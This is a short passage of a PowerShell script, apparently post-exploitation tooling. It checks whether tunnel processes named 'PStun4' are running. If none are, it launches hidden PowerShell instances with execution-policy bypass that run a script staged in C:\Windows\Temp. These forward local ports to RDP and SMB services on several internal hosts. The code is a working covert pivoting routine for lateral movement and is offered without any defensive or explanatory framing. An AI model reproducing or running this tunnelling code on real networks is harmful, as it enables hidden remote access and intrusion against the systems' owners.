# 5 verify tunnels; fallback spawn only if none
Start-Sleep -Seconds 10
$have = @(Get-CimInstance Win32_Process -Filter "Name='powershell.exe'" | Where-Object { $_.CommandLine -match 'PStun4' })
W ('PSTN|' + $have.Count)
if($have.Count -eq 0){
  W 'PSTNFALLBACK'
  $tuns=@(@(5677,'192.168.18.23',3389),@(5678,'192.168.18.19',445),@(5679,'192.168.18.36',445),@(5680,'192.168.18.49',445),@(5681,'127.0.0.1',445),@(5682,'127.0.0.1',3389))
  foreach($t in $tuns){
    Start-Process -FilePath $ps -ArgumentList '-NoP','-W','Hidden','-EP','Bypass','-File','C:\Windows\Temp\PStun4.ps1','-ServePort',([string]$t[0]),'-TargetHost',$t[1],'-TargetPort',([string]$t[2]) -WindowStyle Hidden
    W ('SPAWN|'+$t[0])
  }
  Start-Sleep -Seconds 5
}